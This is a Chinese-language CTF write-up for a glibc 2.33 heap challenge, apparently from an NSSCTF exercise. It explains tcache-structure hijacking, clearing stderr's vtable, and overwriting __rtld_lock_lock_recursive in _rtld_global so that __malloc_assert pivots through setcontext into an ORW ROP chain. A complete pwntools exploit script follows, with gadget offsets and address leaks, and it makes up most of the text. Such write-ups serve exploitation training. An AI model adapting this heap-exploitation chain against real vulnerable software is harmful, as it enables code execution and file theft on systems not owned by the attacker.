libc 2.33,没有canary
_IO_FILE_jumps可写但是输出函数全是write实现不能触发。


edit,show,chunk_list的大小和chunk的大小分别为1,2,18,0x100

只有一次edit的情况下可以考虑打house of apple2和house of cat,改top chunk的size触发__malloc_assert刷新stderr,但是add有限制范围,不能申请libc中的指定内容,虽然有__free_hook和__malloc_hook但是写不了,并且不能申请large chunk,不能largebin attack和主动刷新IO流。

在虚表检测过程中有IO_validate_vtable->_IO_vtable_check->_dl_addr


_dl_addr里调用了 __rtld_lock_lock_recursive和 __rtld_lock_unlock_recursive,我寻思这这不是我们exit_hook吗,下次调用记得标明(,其实也没有exit_hook一说,__rtld_lock_lock_recursive和__rtld_lock_unlock_recursive是存放在_rtld_global里的函数指针,作用是多线程临界区上锁和解锁,没有加任何的保护,因此我们可以写入__rtld_lock_lock_recursive或 __rtld_lock_unlock_recursive后将stderr虚表改到一个非法位置并修改top chunk的size为非法值触发__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->_IO_XSPUTN->IO_validate_vtable->_IO_vtable_check->_dl_addr->og或setcontext进行getshell或orw。
考虑到edit只有一次并且add可以添加数据,我们可以劫持tcache结构体进行多次任意写。
泄露地址和xor_key
for x in range(8):
add()
for x in range(7,-1,-1):
free(x)
show(0)
libc_base=get_addr()-0x1E0C00
ld_base=libc_base+0x1F4000
_IO_2_1_stderr_=libc_base+libc.sym["_IO_2_1_stderr_"]
_rtld_global=ld_base + ld.sym['_rtld_global']
setcontext=libc_base+libc.sym["setcontext"]
print(hex(libc_base))
show(7)
key=((get_addr()&0xffffffffff))
heap_base=key<<0xc
print(hex(heap_base))
劫持tcache结构体并伪造虚假的堆块来保证free
edit(1,p64(key^(heap_base+0xf0)))
payload=b"/flag\x00\x00\x00"+p64(heap_base-0x1000)+p64(0x50)+p64(0)+p64(setcontext+61)+p64(0)*15+p64(heap_base+0x2a0)
payload=payload.ljust(0xa8,b"\x00")+p64(libc_base+0x0000000000028a55+1)
add(payload)#8
#
rdi=_rtld_global+0x988
add(p64(0)+p64(0x111)+p64(0)+p64(heap_base+0x100))#9

下次申请会直接到heap_base+0x100处

通过不断的free和add(target)来实现任意地址申请
清空虚表,在2.29?后tcache chunk为了防止df而在bk处增加了一个key,当取出改chunk后这个会清空,用这个特性来清空stderr的vtable。
add(p64(0)+p64(_IO_2_1_stderr_+0xd0))#10
p.sendlineafter(select, b"1")

修改__rtld_lock_lock_recursive
free(10)
add(p64(0)+p64(_rtld_global+0xF90))#11
add(p64(libc_base+0x14a0a0))#12
如何找__rtld_lock_lock_recursive偏移?在给定libc中找到_dl_addr就能知道偏移了,而rdi在_rtld_global+0x988的位置也可以控制,不过setcontext在2.29后rsp有rdx确定,要用以下gadget控制rdx并跳转到setcontext+61。故__rtld_lock_lock_recursive写入以下gadget的地址即libc_base+0x14a0a0
- mov rdx, [rdi+8]
- mov [rsp+0C8h+var_C8], rax
- call qword ptr [rdx+20h]


修改top chunk的size
free(10)
add(p64(0)+p64(heap_base+0xB10))#13
add(p64(0)+p64(0x123))#14
控制rdi
free(10)
add(p64(0)+p64(_rtld_global+0x980))#15
add(p64(0)+p64(0)+p64(heap_base+0x3B0))#16
orw
pop_rdi=libc_base+0x0000000000028a55
pop_rsi=libc_base+0x000000000002a4cf
pop_rdx=libc_base+0x00000000000c7f32
pop_rcx_rbx=libc_base+0x00000000000fc104
pop_r8 = libc_base + 0x148686
syscall= libc_base + 0x6105a
pop_rax=libc_base+0x0000000000044c70
flag=heap_base+0x3B0
payload=flat([
pop_rax,2,
pop_rdi,flag,
pop_rsi,0,
syscall,
pop_rdi, heap_base-0x1000,
pop_rsi, 0x1000,
pop_rdx, 1,
pop_rcx_rbx,1,0,
pop_r8,3,
libc_base+libc.sym["mmap"],
pop_rdi, 1,
pop_rsi, flag+8,
pop_rdx, 1,
libc_base + libc.sym["writev"],
])
触发__malloc_assert
add(payload)#17
gdb.attach(p,"b _dl_addr")
p.sendlineafter(select, b"1")#18
#gdb.attach(proc.pidof(p)[0])
p.interactive()
完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./houmt"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
#gdb.attach(p,"b *$rebase(0x18B0)")
else:
p=remote("node4.anna.nssctf.cn",28564)
libc=ELF("./libc.so.6")
ld=ELF("./ld.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Please input your choice > "
def add(content=b""):
p.sendlineafter(select, b"1")
#p.sendlineafter(b"size of it", str(index).encode())
#p.sendlineafter(b"size of it", str(size).encode())
p.sendlineafter(b"Please input the content : ", content)
#p.sendlineafter(b"Content: ", content)
def edit(index,content):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Please input the index : ", str(index).encode())
#p.sendlineafter(b"size of it", str(size).encode())
p.sendlineafter(b"Please input the content : ", content)
def free(index):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Please input the index : ", str(index).encode())
def show(index):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Please input the index : ", str(index).encode())
def get_addr():
addr_list=[]
addr=""
for x in range(6):
addr_list.append(int.from_bytes(p.recv(1)))
for x in range(5,0,-1):
addr_list[x-1]^=addr_list[x]
for x in range(5, -1, -1):
addr+=hex(addr_list[x]).replace("0x","").rjust(2,"0")
return int(addr,16)
for x in range(8):
add()
for x in range(7,-1,-1):
free(x)
show(0)
libc_base=get_addr()-0x1E0C00
ld_base=libc_base+0x1F4000
_IO_2_1_stderr_=libc_base+libc.sym["_IO_2_1_stderr_"]
_rtld_global=ld_base + ld.sym['_rtld_global']
setcontext=libc_base+libc.sym["setcontext"]
print(hex(libc_base))
show(7)
key=((get_addr()&0xffffffffff))
heap_base=key<<0xc
print(hex(heap_base))
edit(1,p64(key^(heap_base+0xf0)))
payload=b"/flag\x00\x00\x00"+p64(heap_base-0x1000)+p64(0x50)+p64(0)+p64(setcontext+61)+p64(0)*15+p64(heap_base+0x2a0)
payload=payload.ljust(0xa8,b"\x00")+p64(libc_base+0x0000000000028a55+1)
add(payload)#8
#
rdi=_rtld_global+0x988
add(p64(0)+p64(0x111)+p64(0)+p64(heap_base+0x100))#9
add(p64(0)+p64(_IO_2_1_stderr_+0xd0))#10
p.sendlineafter(select, b"1")
free(10)
add(p64(0)+p64(_rtld_global+0xF90))#11
add(p64(libc_base+0x14a0a0))#12
#
free(10)
add(p64(0)+p64(heap_base+0xB10))#13
add(p64(0)+p64(0x123))#14
#
free(10)
add(p64(0)+p64(_rtld_global+0x980))#15
add(p64(0)+p64(0)+p64(heap_base+0x3B0))#16
pop_rdi=libc_base+0x0000000000028a55
pop_rsi=libc_base+0x000000000002a4cf
pop_rdx=libc_base+0x00000000000c7f32
pop_rcx_rbx=libc_base+0x00000000000fc104
pop_r8 = libc_base + 0x148686
syscall= libc_base + 0x6105a
pop_rax=libc_base+0x0000000000044c70
flag=heap_base+0x3B0
payload=flat([
pop_rax,2,
pop_rdi,flag,
pop_rsi,0,
syscall,
pop_rdi, heap_base-0x1000,
pop_rsi, 0x1000,
pop_rdx, 1,
pop_rcx_rbx,1,0,
pop_r8,3,
libc_base+libc.sym["mmap"],
pop_rdi, 1,
pop_rsi, flag+8,
pop_rdx, 1,
libc_base + libc.sym["writev"],
])
#
add(payload)#17
gdb.attach(p,"b _dl_addr")
p.sendlineafter(select, b"1")#18
#gdb.attach(proc.pidof(p)[0])
p.interactive()
Comments NOTHING